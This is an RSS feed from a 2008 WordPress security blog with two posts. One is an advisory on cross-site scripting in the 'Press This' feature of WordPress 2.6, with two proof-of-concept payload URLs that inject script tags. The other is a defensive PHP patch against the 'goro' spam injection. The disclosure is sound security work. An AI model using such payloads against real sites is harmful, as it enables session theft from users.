<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>Kaizeku Ban &#187; security</title>
	<atom:link href="http://blog.kaizeku.com/taxonomy/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.kaizeku.com</link>
	<description>So many evil plans, so little time...</description>
	<pubDate>Wed, 19 Nov 2008 01:02:00 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7-beta2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Wordpress &#34;Press This&#34; Multiple XSS Vulnerability</title>
		<link>http://blog.kaizeku.com/wordpress/wordpress-26-press-this-multiple-xss-vulnerability/</link>
		<comments>http://blog.kaizeku.com/wordpress/wordpress-26-press-this-multiple-xss-vulnerability/#comments</comments>
		<pubDate>Fri, 01 Aug 2008 03:16:18 +0000</pubDate>
		<dc:creator>Avice</dc:creator>
		
		<category><![CDATA[WordPress]]></category>

		<category><![CDATA[2.6]]></category>

		<category><![CDATA[security]]></category>

		<category><![CDATA[vulnerability]]></category>

		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.kaizeku.com/?p=219</guid>
		<description><![CDATA[WordPress Press this (WP 2.6) features is exposed to multiple cross-site scripting issues because it fails to sufficiently sanitize user-supplied input. The issue can be found at Wordpress trac #7220
POC
*/wp-admin/press-this.php/?ajax=video&#038;s=%3C/textarea%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
*/wp-admin/press-this.php/?ajax=thickbox&#038;i=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Patch
the latest patch #8320 (07/09/08 19:51:53) by Ryan]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.kaizeku.com/wp-content/uploads/2008/08/wordpress-press-this-xss-vulnerability-pinpreview-by-chaoskaizer.png" alt="XSS Vulnerability" title="Wordpress &#34;Press This&#34; Multiple XSS Vulnerability" width="128" height="128" class="alignleft size-full wp-image-220" />WordPress <strong><a href="http://codex.wordpress.org/index.php?title=Press_This">Press this</a></strong> (WP 2.6) features is exposed to multiple cross-site scripting issues because it fails to sufficiently sanitize user-supplied input. The issue can be found at Wordpress trac <a href="http://trac.wordpress.org/ticket/7220">#7220</a></p>
<h2 title="Proof of Concept">POC</h2>
<pre class="prebox">*/wp-admin/press-this.php/?ajax=video&#038;s=%3C/textarea%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
*/wp-admin/press-this.php/?ajax=thickbox&#038;i=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E</pre>
<h3 class="mgt">Patch</h3>
<p>the latest patch <a href="http://trac.wordpress.org/changeset/8302">#8320</a> <small>(07/09/08 19:51:53)</small> by Ryan</p>]]></content:encoded>
			<wfw:commentRss>http://blog.kaizeku.com/wordpress/wordpress-26-press-this-multiple-xss-vulnerability/feed/</wfw:commentRss>
		</item>
		<item>
		<title>goro spam injection patch</title>
		<link>http://blog.kaizeku.com/wordpress/goro-spam-injection-wp-head-patch/</link>
		<comments>http://blog.kaizeku.com/wordpress/goro-spam-injection-wp-head-patch/#comments</comments>
		<pubDate>Sat, 14 Jun 2008 18:58:51 +0000</pubDate>
		<dc:creator>Avice</dc:creator>
		
		<category><![CDATA[Black Hat]]></category>

		<category><![CDATA[WordPress]]></category>

		<category><![CDATA[plugins]]></category>

		<category><![CDATA[blackhat]]></category>

		<category><![CDATA[goro]]></category>

		<category><![CDATA[injection]]></category>

		<category><![CDATA[lambda-style]]></category>

		<category><![CDATA[Owned]]></category>

		<category><![CDATA[parasite host]]></category>

		<category><![CDATA[security]]></category>

		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://blog.kaizeku.com/?p=168</guid>
		<description><![CDATA[wordpress goro spam injection patch]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.kaizeku.com/wp-content/uploads/2008/06/hacked.png" alt="goro spam injection" title="goro spam injection" width="128" height="128" class="fl size-full thumb- wp-image-169" longdesc="http://blog.kaizeku.com/wp-content/uploads/2008/06/hacked.png" />Since early 2007 I been monitoring this <a href="http://blog.kakkoi.net/wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-jagger-goro-class-mailphp/" rel="external" rev="vote-for" title="WordPress spam injection">famous WordPress spam injection</a> that only target high PR wordpress blogs like Al gore, blake ross, bluehost CEO to name a few. </p>
<h2>PHP create_function&#40;&#41;</h2>
<p>The new variant from <tt>wordpress.net.in</tt> &amp; <tt>qwetro.com</tt> used the &#8220;anonymous PHP <tt><a href="http://my2.php.net/manual/en/function.create-function.php" title="PHP manual for create_function" rel="external">create_function</a></tt>&#8221; to append their spam links on their victim blog. Below is quick patch to disabled the mischievous &#8220;create_function&#8221; injection on wp_head.</p>
<p>The below code will look for &#8220;<tt>&#65533;lambda_n</tt>&#8221; function inside <em>wp_head</em> wp_filters array and remove the action hook silently. I assume that any sane developer will never used this unstable PHP function.</p>
<pre class="prebox" style="height:830px">&#47;&#42;&#42;
 &#42; Remove create_function action hook
 &#42; append on wordpress wp_head filters
 &#42;
 &#42; &#64;author Avice De&#39;v&#233;reux &#60;ck&#64;kaizeku&#46;com&#62;
 &#42; &#64;copyright Copyright &#40;c&#41; 2006 Avice De&#39;v&#233;reux
 &#42; &#64;version 1&#46;0
 &#42; &#64;license http&#58;&#47;&#47;www&#46;gnu&#46;org&#47;licenses&#47;lgpl&#46;html GNU Lesser General Public License
 &#42; &#64;link http&#58;&#47;&#47;blog&#46;kaizeku&#46;com&#47;wordpress&#47;goro&#45;spam&#45;injection&#45;wp&#45;head&#45;patch&#47;
 &#42;&#47;
function remove_create_function_action&#40;&#41;
&#123; global &#36;wp_filter&#59;

	&#36;action_ref	&#61; &#39;wp_head&#39;&#59;
	&#36;filter 	&#61; &#36;wp_filter&#91;&#36;action_ref&#93;&#59;
	&#36;_lambda	&#61; array&#40;&#41;&#59;

	foreach&#40;range&#40;1&#44;10&#41; as &#36;priority&#41;&#123;

		if &#40;isset&#40;&#36;filter&#91;&#36;priority&#93;&#41;&#41;
		&#123;
			foreach&#40;&#36;filter&#91;&#36;priority&#93; as &#36;registered_filter &#41;&#123;

				&#36;callback &#61; &#40;string&#41; &#36;registered_filter&#91;&#39;function&#39;&#93;&#59;

				if &#40; preg_match&#40;&#34;&#47;lambda&#47;&#34;&#44; &#36;callback&#41; &#41; &#123;
		 	 		&#36;_lambda&#91;&#36;priority&#93;&#91;&#93; &#61; &#36;callback&#59;
				&#125;
			&#125;

		&#125;
	&#125;

	if &#40; count&#40;&#36;_lambda&#41; &#62;&#61; 0 &#41;&#123;

		foreach&#40;&#36;_lambda as &#36;priority &#61;&#62; &#36;callback&#41; &#123;
			if &#40; has_filter&#40;&#36;action_ref&#44;&#36;callback&#41; &#41;&#123;
				remove_filter&#40;&#36;action_ref&#44; &#36;callback&#44; &#36;priority&#44; 1&#41;&#59;
			&#125;
		&#125;
	&#125;
&#125;

add_action&#40;&#39;init&#39;&#44;&#39;remove_create_function_action&#39;&#41;&#59;
</pre>
<p><span id="more-168"></span></p>
<p class="sticky">note: This method only disabled the spam link from showing on your <span class="fw">blog header</span>. it wont fixed your blog vulnerabilities. your blog still owned thought. Tips &rarr; <a href="http://wordpress.org/download/" title="WordPress download archive" rel="external">http://wordpress.org/download/</a></p>
<h3>Download</h3>
<ul class="xoxo">
<li>Note: There is a file embedded within this post, please visit this post to download the file.</li>
</ul>
<h5 class="mgt">Related Articles</h5>
<ul class="xoxo">
<li><a href="http://blog.kakkoi.net/wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-jagger-goro-class-mailphp/" rel="external" title="Fixes wordpress.net.in Spam">Fixes wordpress.net.in Spam Footer Injection</a></li>
<li><a href="http://robertogaloppini.net/2007/12/12/wordpress-spam-injection-goro-hacked-my-blog/" rel="external" title="Roberto Galoppini">Roberto Galoppini&#8217;s, Wordpress Spam Injection: ‘Goro’ hacked my blog</a></li>
</ul>]]></content:encoded>
			<wfw:commentRss>http://blog.kaizeku.com/wordpress/goro-spam-injection-wp-head-patch/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
